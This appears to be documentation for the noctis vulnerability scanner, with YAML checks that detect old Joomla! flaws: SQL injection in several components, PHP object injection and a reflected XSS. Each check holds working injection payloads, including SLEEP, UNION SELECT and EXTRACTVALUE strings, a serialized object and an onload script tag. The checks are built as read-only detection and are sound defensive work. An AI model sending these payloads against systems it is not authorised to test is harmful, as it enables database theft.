  - id: init-t-short
    action: set_var
    var_name: t_short
    var_value: {status: 0, duration_ms: 0}

  - id: probe-comp
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_teams"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: comp

  - id: probe-ctl
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_noctis{{sc.s1}}none"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == "" && comp.status == 200'
    store_as: ctl

  - id: gate
    action: script
    code: 'hit_dir == "" && comp.status == 200 && ctl.status != 200'
    store_as: present

  - id: time-baseline
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "FirstName=noctis&LastName=noctis&Notes=x&Active=Y&PlayerID=-1+AND+%28SELECT+*+FROM+%28SELECT%28SLEEP%280%29%29%29noctis%29&option=com_teams&task=save&controller=player"
    condition: "present"
    store_as: t_base

  - id: time-long
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "FirstName=noctis&LastName=noctis&Notes=x&Active=Y&PlayerID=-1+AND+%28SELECT+*+FROM+%28SELECT%28SLEEP%28{{sc.s1}}%29%29%29noctis%29&option=com_teams&task=save&controller=player"
    condition: "present && t_base.status != 0 && t_base.duration_ms < 4000"
    store_as: t_long

  - id: time-short
    action: http_request
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "FirstName=noctis&LastName=noctis&Notes=x&Active=Y&PlayerID=-1+AND+%28SELECT+*+FROM+%28SELECT%28SLEEP%28{{sc.s2}}%29%29%29noctis%29&option=com_teams&task=save&controller=player"
    condition: "present && t_long.status != 0 && t_long.duration_ms >= t_base.duration_ms + sc.s1 * 1000 - 1000"
    store_as: t_short

  # m = number of queries PlayerID goes through (each sleeps once).
  - id: check-time
    action: script
    code: |
      let ok = false;
      if present && t_base.status != 0 && t_long.status != 0 && t_short.status != 0 {
        let dl = t_long.duration_ms - t_base.duration_ms;
        let ds = t_short.duration_ms - t_base.duration_ms;
        for m in 1..4 {
          if dl >= m * sc.s1 * 1000 - 1000 && dl < m * sc.s1 * 1000 + 3000
            && ds >= m * sc.s2 * 1000 - 1000 && ds < m * sc.s2 * 1000 + 2000
            && t_long.duration_ms - t_short.duration_ms >= m * 2000 { ok = true; }
        }
      }
      if ok { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Joomla! com_teams PlayerID SQL Injection (CVE-2010-4941)"
        description: "Unauthenticated player save requests to the Joomla! Teams component whose PlayerID carries a SLEEP in a derived table were delayed by the two requested random times: PlayerID reaches the SQL query unescaped, so an attacker can read the whole database, including the Joomla! user accounts and password hashes."
        remediation: "Remove or update the com_teams component (no fixed release is known: uninstall it), and restrict access to the Joomla! administrator interface."
        confidence_delta: 0.50
        qod: 75
        evidence: "Joomla dir {{hit_dir}}: POST option=com_teams&task=save PlayerID=-1 AND (SELECT * FROM (SELECT(SLEEP(n)))noctis): baseline {{t_base.duration_ms}} ms, sleep({{sc.s1}}) {{t_long.duration_ms}} ms, sleep({{sc.s2}}) {{t_short.duration_ms}} ms"
      stop: true

Joomla! com_xobbix prodid SQL Injection

CVECVE-2010-5053
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-5053.yaml

The Xobbix component (com_xobbix) of Joomla! pastes the prodid parameter of the prod_desc task, unquoted and unchecked, into the SQL query that loads a product, without authentication, and prints the returned row, allowing SQL injection (an attacker can read the whole database, including the Joomla! user accounts and password hashes).

This check requests index.php under the web root and the usual Joomla directories with option=com_xobbix and a prodid value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php?option=com_xobbix&catid=31&task=prod_desc&prodid={{sc.q}}
  3. Parses / computes the next value with a Rhai script
  4. Checks hit_dir for ^/ → finding QoD 75: Joomla! com_xobbix prodid SQL Injection (CVE-2010-5053)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-5053.yaml
# Joomla! com_xobbix component — prodid SQL injection — CVE-2010-5053
#
# com_xobbix (Xobbix shop component for Joomla!, 2010) pastes the prodid request
# parameter of index.php?option=com_xobbix&task=prod_desc into a query that selects a
# 16-column product row, unquoted and unchecked, without authentication, and prints the
# row's description column (the 5th) in the page.
#
# Detection, per candidate Joomla directory (web root and the usual sub-directories):
#   1. (QoD 75) index.php?option=com_xobbix&catid=31&task=prod_desc&prodid=-21 UNION
#      SELECT 1,2,3,4,C,6,7,8,9,10,11,12,13,14,15,16 with C = CONCAT(0x4e4f43544953,a*b,
#      0x454e44), a and b random six-digit numbers. The vulnerable page prints
#      NOCTIS<a*b>END, a value computed by the database that never appears in the
#      request. Read-only: no table is selected from and nothing is written.
#
# Better than the source NASL: the reference check matches a fixed marker string
# ("SQL-Injection-Test") that the request itself spells out in hex and that a page merely
# reflecting its query string would also show; this feed proves execution with an
# arithmetic result, and probes the web root and the usual Joomla directories
# instead of only the directory the NASL's prior Joomla detection reported.
#
# Source: OpenVAS/Greenbone NVT 2011/gb_joomla_39259.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103355, GPL-2.0-only).
uid: 3074a96b-76fd-4987-8ea5-585cddf4620e
name: "Joomla! com_xobbix prodid SQL Injection (CVE-2010-5053)"
description: |
  The Xobbix component (com_xobbix) of Joomla! pastes the prodid parameter of the
  prod_desc task, unquoted and unchecked, into the SQL query that loads a product, without
  authentication, and prints the returned row, allowing SQL injection (an attacker can
  read the whole database, including the Joomla! user accounts and password hashes).

  This check requests index.php under the web root and the usual Joomla directories with
  option=com_xobbix and a prodid value that appends a UNION SELECT of an expression
  multiplying two random numbers. The vulnerability is confirmed when the page shows the
  product computed by the database, which never appears in the request. No stored data is
  read and nothing is written.
cves: [CVE-2010-5053]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, com_xobbix, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-5053"
  # OpenVAS/Greenbone NASL 2011/gb_joomla_39259.nasl (GPL-2.0-only)

steps:
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q: "-21+union+select+1,2,3,4," + c + ",6,7,8,9,10,11,12,13,14,15,16--" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/joomla", "/cms", "/portal"]

  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?option=com_xobbix&catid=31&task=prod_desc&prodid={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: resp

  - id: check
    action: script
    condition: 'hit_dir == "" && resp.status == 200'
    code: |
      let body = if type_of(resp.body) == "string" { resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "Joomla! com_xobbix prodid SQL Injection (CVE-2010-5053)"
        description: "An unauthenticated index.php?option=com_xobbix&task=prod_desc request whose prodid value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole database, including the Joomla! user accounts and password hashes."
        remediation: "Remove or update the com_xobbix component (no fixed release is known: uninstall it), and restrict access to the Joomla! administrator interface."
        confidence_delta: 0.45
        qod: 75
        evidence: "Joomla dir {{hit_dir}}: prodid=-21 UNION SELECT 1,2,3,4,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),… printed the database-computed value {{sc.want}}"
      stop: true

Joomla! highlight parameter PHP object injection

CVECVE-2013-1453
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2013-1453.yaml

Detects the unsafe unserialize() of the highlight parameter in the Joomla! system highlight plugin (Joomla! 2.5.8 and earlier, 3.0.2 and earlier). The test requests index.php with highlight set to a serialized array holding an object of an undefined class, and reports the finding when the response contains the PHP error about a __PHP_Incomplete_Class that could not be converted to string, which shows the value was unserialized. When error display is off, a 500 answer that a control request with a plain serialized array does not cause is reported at lower confidence. The object has no gadget class and nothing is modified on the server.

How noctis detects it

  1. HTTP(S) request GET /index.php?highlight=YToxOntpOjA7czo2OiJub2N0aXMiO30%3D
  2. HTTP(S) request GET /index.php?highlight=YToxOntpOjA7TzoxMToiTm9jdGlzUHJvYmUiOjA6e319
  3. Checks obj.body for Object of class __PHP_Incomplete_Class could not be converted to stri… → finding QoD 75: highlight carrying an object of an undefined class was unserialized (status …, control status …)
  4. Checks obj.status == 500 && ctl.status >= 200 && ctl.status < 500 → finding QoD 70: highlight with a serialized object answered … while a serialized array answered …

References:

Feed source — tests/vulnerabilities/joomla/CVE-2013-1453.yaml
# Joomla! 2.5.0 - 2.5.8 / 3.0.0 - 3.0.2 — plugins/system/highlight/highlight.php runs
# unserialize(base64_decode()) on the "highlight" request parameter for any front-end
# HTML page (CVE-2013-1453).
#
# Detection (benign, nothing is written): request the front page with highlight set to
# the base64 of a serialized array holding an object of an undefined class
# (NoctisProbe). unserialize() accepts it and builds a __PHP_Incomplete_Class; the
# plugin then casts it to a string and PHP reports "Object of class
# __PHP_Incomplete_Class could not be converted to string" (QoD 75). When errors are
# hidden, the same request answering 500 while a control request carrying a plain
# serialized array answers below 500 shows the same unserialize path (QoD 70). No
# gadget class is used, so no property is injected into the application.
#
# Improvement over the source NASL: the NASL reports any 500 response; this feed
# requires the PHP error text, or a 500 that only the object payload causes (a
# control request must not fail).
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_joomla_57746.nasl (GPL-2.0-only).
uid: 8b4f6c1e-3a52-4d97-a0e6-5c2d7f9b1e43
name: "Joomla! highlight parameter PHP object injection (CVE-2013-1453)"
description: |
  Detects the unsafe unserialize() of the highlight parameter in the Joomla! system
  highlight plugin (Joomla! 2.5.8 and earlier, 3.0.2 and earlier). The test requests
  index.php with highlight set to a serialized array holding an object of an undefined
  class, and reports the finding when the response contains the PHP error about a
  __PHP_Incomplete_Class that could not be converted to string, which shows the
  value was unserialized. When error display is off, a 500 answer that a control
  request with a plain serialized array does not cause is reported at lower
  confidence. The object has no gadget class and nothing is modified on the server.
cves: [CVE-2013-1453]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: rce
confidence_base: 0.30
tags: [joomla, cms, php, object-injection, unserialize, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1453"
  - "https://www.securityfocus.com/bid/57746"
  # OpenVAS/Greenbone NASL 2013/gb_joomla_57746.nasl (GPL-2.0-only)

steps:
  - id: ctl-probe
    action: http_request
    method: GET
    path: "/index.php?highlight=YToxOntpOjA7czo2OiJub2N0aXMiO30%3D"
    port: "{{port}}"
    tls_insecure: true
    store_as: ctl

  - id: obj-probe
    action: http_request
    method: GET
    path: "/index.php?highlight=YToxOntpOjA7TzoxMToiTm9jdGlzUHJvYmUiOjA6e319"
    port: "{{port}}"
    tls_insecure: true
    store_as: obj

  - id: incomplete-class
    action: match
    source: obj.body
    pattern: "Object of class __PHP_Incomplete_Class could not be converted to string"
    condition: "obj.status >= 200 && ctl.status < 500"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "highlight carrying an object of an undefined class was unserialized (status {{obj.status}}, control status {{ctl.status}})"
      stop: true

  - id: server-error-only-with-object
    action: match
    source: obj.body
    pattern: "(?s)."
    condition: "obj.status == 500 && ctl.status >= 200 && ctl.status < 500"
    on_match:
      finding:
        confidence_delta: 0.35
        qod: 70
        evidence: "highlight with a serialized object answered {{obj.status}} while a serialized array answered {{ctl.status}}"

Joomla! multiple components SQL Injection

CVECVE-2010-4865, CVE-2010-4902, CVE-2010-4904, CVE-2010-4927, CVE-2010-4928, CVE-2010-4929, CVE-2010-4937, CVE-2010-4945
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/joomla/joomla-multiple-components-sqli.yaml

Tests seven third-party Joomla! components (com_restaurantguide, com_ezautos, com_amblog, com_jeguestbook, com_clantools, com_sgicatalog, com_aardvertiser) for unauthenticated SQL injection through the request parameter each one uses in a database query. In the web root and in /joomla, the feed requests each component with a value that makes the database raise an XPath error carrying the product of two random numbers, in both a numeric and a quoted query context. The correct product in the page, whether the error is printed raw or HTML-escaped, confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, or the PHP foreach() warning the failed query leaves behind on a Joomla! page, provided the same request with a plain numeric value shows neither. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{t.dir}}{{t.pre}}1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}})){{t.post}}
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{t.dir}}{{t.pre}}1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20%…
  6. Parses / computes the next value with a Rhai script
  7. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: Joomla! multiple components SQL Injection (CVE-2010-4865)
  8. HTTP(S) request GET {{t.dir}}{{t.pre}}1%27{{m.tag}}{{t.post}}
  9. HTTP(S) request GET {{t.dir}}{{t.pre}}1{{t.post}}
  10. Parses / computes the next value with a Rhai script
  11. Parses / computes the next value with a Rhai script
  12. Checks syn for ^SQL syntax error quoting Noctis[A-Za-z0-9]+$ → finding QoD 75: Joomla! multiple components SQL Injection (CVE-2010-4865)
  13. Checks fe for ^foreach warning after quote$ → finding QoD 70: Joomla! multiple components SQL Injection (CVE-2010-4865)

References:

Feed source — tests/vulnerabilities/joomla/joomla-multiple-components-sqli.yaml
# Joomla! components that paste a request value into an SQL query — CVE-2010-4865 and siblings
#
# Seven third-party Joomla! 1.5 components build an SQL query from a RAW request parameter:
# com_restaurantguide (id), com_ezautos (firstCode), com_amblog (articleid), com_jeguestbook
# (d_itemid), com_clantools (squad), com_sgicatalog (id) and com_aardvertiser (cat_name).
# The code of these components could not be obtained, so whether the value lands in a numeric
# or a quoted context is unknown and both are probed. com_camelcitydb2 (named by the same
# advisory family) is not probed: its advisory gives no injectable parameter, and a quote in
# Joomla!'s core Itemid is cast to an integer, so no honest request exists for it.
# CVE-to-component mapping is not published per component, so the feed lists all eight CVEs
# of the advisory family.
#
# Detection (benign, read-only), for the web root and /joomla, for each component:
#   1. value `1 AND extractvalue(1,concat(0x7e,<a>*<b>))` (numeric) or
#      `1' AND extractvalue(1,concat(0x7e,<a>*<b>)) AND '1'='1` (quoted): the database raises
#      "XPATH syntax error: '~<a×b>'". The product of two random 6-digit operands is not in
#      the request, so a page that only echoes the URL cannot produce it. QoD 97.
#   2. Fallback (MySQL < 5.1 has no EXTRACTVALUE): value `1'<random marker>` must return a MySQL
#      "SQL syntax" error quoting the marker while the control value `1` answers without any
#      SQL error. QoD 75.
#   3. Fallback when database errors are hidden: `1'<marker>` yields the PHP "Invalid argument
#      supplied for foreach()" warning on a Joomla! page while the control value `1` does not.
#      QoD 70 (this is the pattern the source check matches).
#
# Improvements over the source NASL: a database-computed proof instead of a fixed string match on
# a bare quote, both query contexts, a random marker and an error-free control (the NASL reports
# any page that prints the pattern, so a site that always shows the warning is a false positive),
# and one finding that names the component.
# CVSS: NVD publishes no v3.x score for these CVEs (CVSS v2 7.5); 7.5 / high is kept from the advisory.
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_joomla_mult_components_sql_inj_vuln.nasl (GPL-2.0-only).
uid: 7ec669a5-2132-4b5c-9c8f-9a1a582a6603
name: "Joomla! multiple components SQL Injection (CVE-2010-4865)"
description: |
  Tests seven third-party Joomla! components (com_restaurantguide, com_ezautos, com_amblog,
  com_jeguestbook, com_clantools, com_sgicatalog, com_aardvertiser) for unauthenticated SQL
  injection through the request parameter each one uses in a database query. In the web root
  and in /joomla, the feed requests each component with a value that makes the database raise an
  XPath error carrying the product of two random numbers, in both a numeric and a quoted query
  context. The correct product in the page, whether the error is printed raw or HTML-escaped,
  confirms that the database ran the injected expression; the product is not part of the
  request, so a page that only echoes the URL is not reported. On databases without the
  EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random
  marker sent after a single quote, or the PHP foreach() warning the failed query leaves behind
  on a Joomla! page, provided the same request with a plain numeric value shows neither.
  The probes read no table row and change nothing.
cves: [CVE-2010-4865, CVE-2010-4902, CVE-2010-4904, CVE-2010-4927, CVE-2010-4928, CVE-2010-4929, CVE-2010-4937, CVE-2010-4945]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [joomla, php, mysql, sqli, error-based, unauthenticated, com_restaurantguide, com_ezautos, com_amblog, com_jeguestbook, com_clantools, com_sgicatalog, com_aardvertiser]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4865"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4902"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4904"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4927"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4928"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4929"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4937"
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4945"
  # OpenVAS/Greenbone NASL 2011/gb_joomla_mult_components_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # Loop group: every step below runs once per (install dir, component)
  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}
    loop:
      var: t
      over:
        - {dir: "", comp: "com_restaurantguide", pre: "/index.php?option=com_restaurantguide&view=country&id=", post: "&Itemid=69"}
        - {dir: "", comp: "com_ezautos", pre: "/index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=", post: ""}
        - {dir: "", comp: "com_amblog", pre: "/index.php?option=com_amblog&task=editsave&articleid=", post: ""}
        - {dir: "", comp: "com_jeguestbook", pre: "/index.php?option=com_jeguestbook&view=item_detail&d_itemid=", post: ""}
        - {dir: "", comp: "com_clantools", pre: "/index.php?option=com_clantools&squad=", post: ""}
        - {dir: "", comp: "com_sgicatalog", pre: "/index.php?option=com_sgicatalog&task=view&lang=en&id=", post: ""}
        - {dir: "", comp: "com_aardvertiser", pre: "/index.php?option=com_aardvertiser&task=view&cat_name=", post: ""}
        - {dir: "/joomla", comp: "com_restaurantguide", pre: "/index.php?option=com_restaurantguide&view=country&id=", post: "&Itemid=69"}
        - {dir: "/joomla", comp: "com_ezautos", pre: "/index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=", post: ""}
        - {dir: "/joomla", comp: "com_amblog", pre: "/index.php?option=com_amblog&task=editsave&articleid=", post: ""}
        - {dir: "/joomla", comp: "com_jeguestbook", pre: "/index.php?option=com_jeguestbook&view=item_detail&d_itemid=", post: ""}
        - {dir: "/joomla", comp: "com_clantools", pre: "/index.php?option=com_clantools&squad=", post: ""}
        - {dir: "/joomla", comp: "com_sgicatalog", pre: "/index.php?option=com_sgicatalog&task=view&lang=en&id=", post: ""}
        - {dir: "/joomla", comp: "com_aardvertiser", pre: "/index.php?option=com_aardvertiser&task=view&cat_name=", post: ""}

  - id: init-quo-r
    action: set_var
    var_name: quo_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  - id: inject-numeric
    action: http_request
    method: GET
    path: "{{t.dir}}{{t.pre}}1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}})){{t.post}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: num_r

  - id: verdict-numeric
    action: script
    code: |
      if proof == "" && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: inject-quoted
    action: http_request
    method: GET
    path: "{{t.dir}}{{t.pre}}1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20%271%27=%271{{t.post}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: quo_r

  - id: verdict-quoted
    action: script
    code: |
      if proof == "" && type_of(quo_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", quo_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Joomla! multiple components SQL Injection (CVE-2010-4865)"
        description: "An unauthenticated GET to the Joomla! component {{t.comp}} with SQL appended to its request parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the Joomla! database user may run can be injected the same way, including reading the administrator accounts and their password hashes."
        remediation: "Update the affected Joomla! component to a release that casts or escapes the parameter, or remove it. Turn off the display of database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{t.dir}}{{t.pre}} with an injected value computing {{m.a}}*{{m.b}} on {{t.comp}} returned the database-computed result: {{proof}}"
      stop: true

  - id: inject-marker
    action: http_request
    method: GET
    path: "{{t.dir}}{{t.pre}}1%27{{m.tag}}{{t.post}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{t.dir}}{{t.pre}}1{{t.post}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == "" && type_of(mark_r.body) == "string" && (egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" || (stridx(mark_r.body, "Invalid argument supplied for foreach()") >= 0 && egrep("[jJ]oomla", mark_r.body) != ""))'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && type_of(mark_r.body) == "string" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 && stridx(ctl_r.body, "Invalid argument supplied for foreach()") < 0 {
        if egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" { "SQL syntax error quoting " + m.tag } else { "" }
      } else { "" }
    store_as: syn

  - id: verdict-foreach
    action: script
    code: |
      if proof == "" && syn == "" && type_of(mark_r.body) == "string" && ctl_r.status > 0 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 && stridx(ctl_r.body, "Invalid argument supplied for foreach()") < 0 && stridx(mark_r.body, "Invalid argument supplied for foreach()") >= 0 && egrep("[jJ]oomla", mark_r.body) != "" { "foreach warning after quote" } else { "" }
    store_as: fe

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[A-Za-z0-9]+$"
    on_match:
      finding:
        title: "Joomla! multiple components SQL Injection (CVE-2010-4865)"
        description: "An unauthenticated GET to the Joomla! component {{t.comp}} with a single quote and a random marker in its request parameter returned a MySQL syntax error quoting the marker, while the same request with a numeric value showed no SQL error: the parameter is pasted into the query unescaped. Any query the Joomla! database user may run can be injected the same way."
        remediation: "Update the affected Joomla! component to a release that casts or escapes the parameter, or remove it. Turn off the display of database errors to visitors."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{t.dir}}{{t.pre}}1'{{m.tag}} on {{t.comp}} returned a MySQL syntax error quoting {{m.tag}}; the same request with value 1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

  - id: report-foreach
    action: match
    source: fe
    pattern: "^foreach warning after quote$"
    on_match:
      finding:
        title: "Joomla! multiple components SQL Injection (CVE-2010-4865)"
        description: "An unauthenticated GET to the Joomla! component {{t.comp}} with a single quote and a random marker in its request parameter made the page print the PHP warning 'Invalid argument supplied for foreach()' (the failed query's result is iterated), while the same request with a numeric value did not: the parameter is pasted into the query unescaped. Database errors are hidden on this site, so no query output was proven."
        remediation: "Update the affected Joomla! component to a release that casts or escapes the parameter, or remove it. Turn off the display of database errors to visitors. Turn off the display of PHP warnings."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{t.dir}}{{t.pre}}1'{{m.tag}} on {{t.comp}} printed 'Invalid argument supplied for foreach()'; the same request with value 1 returned status {{ctl_r.status}} without it"
      stop: true

Joomla Googlemaps Plugin plugin_googlemap2_proxy.php url Reflected XSS

CVECVE-2013-7433, CVE-2013-7429
Severitymedium · CVSS 6.1
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2013-7433.yaml

Tests the Googlemaps plugin for Joomla! (before 3.1) for the unescaped reflection of the url parameter of its proxy script, plugins/content/plugin_googlemap2_proxy.php. On the web root and /joomla, the feed requests the script with url=<body onload=alert(marker)>, where the marker is random for each scan, and reports the plugin when that exact tag comes back unescaped in the reply. A control request sending the same payload to an absent script in the same folder must not reflect it, so a server that echoes any parameter is not reported. The tag is harmless and only reaches the scanner.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/plugins/content/plugin_googlemap2_proxy.php?url=%3Cbody%20onload=alert({{sc.m…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/plugins/content/{{sc.marker}}.php?url=%3Cbody%20onload=alert({{sc.marker}})%3E
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^reflected$ → finding QoD 75: Joomla Googlemaps Plugin url Parameter Reflected XSS (CVE-2013-7433)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2013-7433.yaml
# Joomla Googlemaps plugin (< 3.1) plugin_googlemap2_proxy.php url reflected XSS
# (CVE-2013-7433, grouped with CVE-2013-7429 XML injection via the same url parameter)
#
# The plugin's proxy script fetches the URL it is given and, when the fetch
# fails, prints the `url` value in its error text ("Couldn't resolve host ...")
# without escaping, so markup in the parameter reaches the page. The same
# unvalidated parameter is the XML injection of CVE-2013-7429.
# CVE mapping: the issue (#1708) lists CVE-2013-7428..7434, all the same
# plugin release range; only the url-parameter reflection is probed here, so
# the finding names the url XSS/XML-injection pair.
#
# Detection (benign — the injected tag only names a random marker and is shown
# to nobody but the scanner): GET
#   <dir>/plugins/content/plugin_googlemap2_proxy.php?url=<body onload=alert(MARKER)>
# (percent-encoded) and look for that exact unescaped tag in the reply (QoD 75).
#
# Improvements over the reference check:
#   - random marker per scan instead of the fixed document.cookie string, so a
#     page that always shows a fixed string is not reported
#   - tries the web root and /joomla
#   - a control request sends the same payload to an absent script in the same
#     folder: a server reflecting it there too is a generic reflector and is not
#     reported (fail-closed)
#
# CVSS: CVE-2013-7433 NVD v3.0 6.1.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_joomla_googlemaps_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803836, GPL-2.0-only).
uid: d47f8e59-12de-4688-a13c-061677fab672
name: "Joomla Googlemaps Plugin plugin_googlemap2_proxy.php url Reflected XSS (CVE-2013-7433)"
description: |
  Tests the Googlemaps plugin for Joomla! (before 3.1) for the unescaped
  reflection of the url parameter of its proxy script,
  plugins/content/plugin_googlemap2_proxy.php. On the web root and /joomla, the
  feed requests the script with url=<body onload=alert(marker)>, where the
  marker is random for each scan, and reports the plugin when that exact tag
  comes back unescaped in the reply. A control request sending the same payload
  to an absent script in the same folder must not reflect it, so a server that
  echoes any parameter is not reported. The tag is harmless and only reaches
  the scanner.
cves: [CVE-2013-7433, CVE-2013-7429]
cvss: 6.1
severity: medium
category: xss
confidence_base: 0.30
tags: [joomla, googlemaps, plugin, xss, reflected-xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-7433"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-7429"
